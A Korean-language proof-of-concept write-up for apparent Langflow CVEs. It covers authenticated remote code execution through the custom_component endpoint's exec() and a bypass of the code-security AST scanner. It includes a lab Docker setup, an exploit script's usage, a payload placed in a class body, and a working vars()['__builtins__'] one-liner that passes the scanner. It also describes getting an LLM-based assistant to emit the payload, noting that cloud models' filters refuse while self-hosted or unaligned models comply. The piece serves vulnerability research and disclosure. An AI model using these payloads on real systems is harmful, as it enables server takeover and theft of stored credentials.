
CVE-2026-17633 PoC — IBM Langflow OSS 1.0.0–1.10.3의 custom_component 엔드포인트를 통한 인증된 RCE. CVE-2026-17632 AST 스캐너 우회 연구 포함.
교육 목적으로만 사용하십시오. 본인이 소유하거나 명시적인 서면 승인을 받은 시스템에만 사용하십시오.
Langflow는 LLM 기반 애플리케이션과 AI 에이전트 워크플로우를 구축하기 위한 오픈소스 로우코드 플랫폼입니다. 사용자가 컴포넌트 — 모델, 리트리버, 도구, 메모리, 사용자 정의 Python 코드 — 를 연결하여 실행 가능한 플로우로 만들 수 있는 시각적 드래그 앤 드롭 인터페이스를 제공합니다. Custom Component 기능을 통해 사용자는 컴포넌트 동작을 Python으로 직접 정의할 수 있으며, 이것이 본 연구에서 악용된 공격 표면입니다.
2026년 8월 5일, IBM은 Langflow OSS 버전 1.0.0부터 1.10.3에 영향을 미치는 취약점 배치를 공개하는 보안 공지를 발표했습니다. 전체 공지는 다음에서 확인할 수 있습니다:
본 연구는 해당 배치에서 두 개의 CVE에 초점을 맞춥니다:
| CVE | CVSS | 요약 |
|---|
| CVE-2026-17633 | 8.5 HIGH | /api/v1/custom_component를 통한 인증된 RCE — 코드가 보안 검사 없이 exec()에 직접 전달됨 |
| CVE-2026-17632 | 8.8 HIGH | AST 보안 스캐너 우회 — 조작된 Python 코드가 임의의 OS 명령을 실행하면서 is_safe: True로 scan_code_security()를 통과함 |
두 CVE 모두 Langflow 1.10.3의 정적 소스 코드 분석을 통해 독립적으로 발견되었습니다.
본 연구는 자체 호스팅 Langflow 인스턴스를 대상으로 격리된 실습 환경에서 수행되었습니다. 모든 발견 사항은 책임 있게 공개됩니다. 명시적인 서면 승인 없이 시스템에 이를 사용하지 마십시오.
Langflow OSS 1.0.0–1.10.3의 POST /api/v1/custom_component 엔드포인트는 인증된 사용자로부터 임의의 Python 코드를 받아 Python의 exec() 함수를 통해 서버 측에서 실행합니다. Agentic Assistant 경로와 달리, 이 엔드포인트는 실행 전에 scan_code_security()나 다른 AST 기반 콘텐츠 검증기를 호출하지 않습니다. 모든 인증된 사용자는 단일 HTTP 요청으로 원격 코드 실행을 달성할 수 있습니다.
CWE-94 — 코드 생성의 부적절한 제어
/api/v1/custom_component 엔드포인트출처: langflow/api/v1/endpoints.py — 1271행
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true인 경우(프로덕션 배포에서 흔함), 코드는 콘텐츠 검사 없이 build_custom_component_template()로 직접 전달됩니다.
prepare_global_scope()와 ast.Expr실행 체인은 lfx/custom/validate.py의 create_class()로 이어지며, 이 함수는 클래스를 컴파일하고 실행하기 전에 prepare_global_scope()를 호출합니다:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
모듈 수준의 단독 함수 호출(예: os.system(...))은 ast.Expr 노드이며, isinstance 검사에 매칭되지 않고 조용히 버려집니다. 그러나 클래스 본문 내부에 배치된 코드는 ClassDef 노드의 일부이며, compile_class_code() 내부에서 exec()를 통해 클래스가 정의될 때 전부 실행됩니다.
이것이 핵심 통찰입니다: 페이로드는 모듈 수준이 아니라 클래스 본문 내부에 있어야 합니다.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
LLM 불필요. 스캐너 우회 불필요. 단일 HTTP 요청.
| 요구 사항 | 값 |
|---|---|
| 호스트 OS | Kali Linux (테스트됨) |
| Docker | CE 5.x + Compose plugin v2 |
| Langflow 이미지 | langflowai/langflow:1.10.3 |
| RAM | 컨테이너용 최소 4 GB |
실습용 디렉터리를 만들고 다음을 docker-compose.yml로 저장합니다:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
실습 환경을 시작합니다:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
위에서 정의한 슈퍼유저 자격 증명으로 http://127.0.0.1:7860에 로그인합니다. 액세스 토큰은 브라우저 쿠키 access_token_lf에 저장됩니다. 또는 API를 통해 검색할 수 있습니다:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
응답에서 access_token 값을 복사합니다.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]
-t, --target TARGET Langflow base URL (e.g. http://127.0.0.1:7860)
-k, --token TOKEN Bearer token of the authenticated user
-c, --command COMMAND OS command to execute (default: id > /tmp/pwned.txt)
--verbose Print full payload and server response
--timeout TIMEOUT Request timeout in seconds (default: 30)
python3 exploit_CVE-2026-17633.py \
-t http://127.0.0.1:7860 \
-k <bearer_token> \
-c 'id > /tmp/pwned.txt'
예상 출력:
============================================================
PoC CVE-2026-17633 — Langflow Custom Component RCE
CVSS 8.5 HIGH — Authenticated RCE
IBM Langflow OSS 1.0.0 – 1.10.3
============================================================
[*] Health: {"status":"ok"}
[*] Target: http://127.0.0.1:7860/api/v1/custom_component
[*] Command: id > /tmp/pwned.txt
[*] Vector: class body exec() — no scanner
[*] HTTP Status: 200
============================================================
[+] VULNERABLE — CVE-2026-17633 CONFIRMED
============================================================
[+] Endpoint processed the component (200 OK)
[+] exec() triggered — command executed: id > /tmp/pwned.txt
[*] Verify the effect on the server:
docker exec <container_id> cat /tmp/pwned.txt
docker exec <container_id> cat /tmp/pwned.txt
예상 출력:
uid=1000(user) gid=0(root) groups=0(root)
참고: Langflow 1.10.3은 컨테이너 내부에서 root가 아닌
uid=1000(user)로 실행됩니다. 그러나 컨테이너 내부에서 해당 사용자는gid=0(root)에 속하며, 여기서 호스트나 연결된 서비스(LLM 제공자 API 키, 데이터베이스 자격 증명, 벡터 스토어 토큰)로의 측면 이동이 현실적인 침해 후 시나리오입니다.
CVE-2026-17633을 이해하기 위해 Langflow 1.10.3의 소스 코드를 분석하던 중, Agentic Assistant 코드 경로도 함께 조사되었습니다. 이로 인해 langflow/agentic/helpers/code_security.py의 scan_code_security()가 발견되었습니다 — 이는 LLM이 생성한 컴포넌트 코드가 validate_component_runtime()에 도달하기 전에 적용되는 AST 기반 보안 스캐너입니다.
이 스캐너는 정교합니다: 임포트 별칭을 추적하고, 와일드카드 임포트를 탐지하며, getattr() 리플렉션을 처리하고, 포괄적인 위험 호출 목록(os.system, subprocess, exec, eval, __import__ 등)을 차단합니다.
DANGEROUS_CALLS를 주의 깊게 분석한 결과 누락된 항목이 드러났습니다:
DANGEROUS_CALLS: dict[str, str] = {
"exec": "Use of exec() is forbidden in components",
"eval": "Use of eval() is forbidden in components",
"compile": "Use of compile() is forbidden in components",
"__import__": "Use of __import__() is forbidden in components",
"globals": "Use of globals() is forbidden in components",
"open": "Use of open() is forbidden in components",
"breakpoint": "Use of breakpoint() is forbidden in components",
# "vars" → NOT PRESENT ← gap identified here
}
vars()가 없습니다. create_class()의 exec() 컨텍스트에서 vars()는 exec_globals를 반환하며, 여기에는 validate.py의 모듈 전역에서 상속된 importlib가 포함됩니다. 또한 ["__builtins__"]는 속성 접근(ast.Attribute)이 아니라 서브스크립트 접근(ast.Subscript)이므로, visit_Attribute()와 DANGEROUS_DUNDER_ATTRS가 이를 검사하지 않습니다.
is_safe: True다음 페이로드는 위반 없이 scan_code_security()를 통과합니다:
vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")
컨테이너 내부에서 스캐너에 대해 직접 검증했습니다:
from langflow.agentic.helpers.code_security import scan_code_security
test_code = 'vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")'
result = scan_code_security(test_code)
print('is_safe:', result.is_safe)
print('violations:', result.violations)
출력:
is_safe: True
violations: ()
RCE 실행은 create_class()가 사용하는 것과 동일한 exec() 컨텍스트에서 우회를 직접 실행하여 확인되었습니다:
import importlib, sys, ast
exec_globals = globals().copy()
exec('vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")', exec_globals)
/tmp/pwned.txt의 출력:
uid=1000(user) gid=0(root) groups=0(root)
CVE-2026-17632는 Agentic Assistant 경로를 통해 악용됩니다:
POST /api/v1/agentic/assist/stream
→ LLM generates Python component code
→ extract_component_code() extracts the ```python``` block
→ validate_component_code() — AST structural check → PASS
→ scan_code_security() — bypass via vars() → PASS (is_safe: True)
→ validate_component_runtime() — exec() without sandbox → RCE
전달 메커니즘은 LLM이 응답에서 우회 페이로드를 그대로 재현할 것을 요구합니다. 실제로 콘텐츠 안전 필터가 있는 클라우드 호스팅 LLM(OpenAI, Anthropic, 대부분의 OpenRouter 무료 모델)은 보안 연구나 문서로 프레이밍된 경우에도 __import__, os.system 또는 유사한 패턴을 포함하는 페이로드 출력을 거부합니다.
이는 실제 익스플로잇에서도 현실적인 제약입니다: 클라우드 LLM 제공자가 구성된 Langflow 인스턴스를 대상으로 하는 공격자도 동일한 콘텐츠 필터에 직면하게 됩니다. 이 취약점은 자체 호스팅 모델(Ollama, vLLM, LM Studio)이나 안전 정렬이 없는 비공개 파인튜닝 모델을 사용하는 배포에 대해 완전히 악용 가능하며, 이는 엔터프라이즈 Langflow 배포의 상당 부분을 차지합니다.
AST 스캐너 우회(is_safe: True)와 exec() RCE는 독립적으로 확인되었습니다. LLM을 통한 엔드투엔드 전달 체인이 CVE-2026-17632의 미해결 연구 과제입니다.
격리된 실습 환경에서 Langflow OSS 1.10.3을 대상으로 수행된 연구. IBM 보안 공지: https://www.ibm.com/support/pages/node/7282646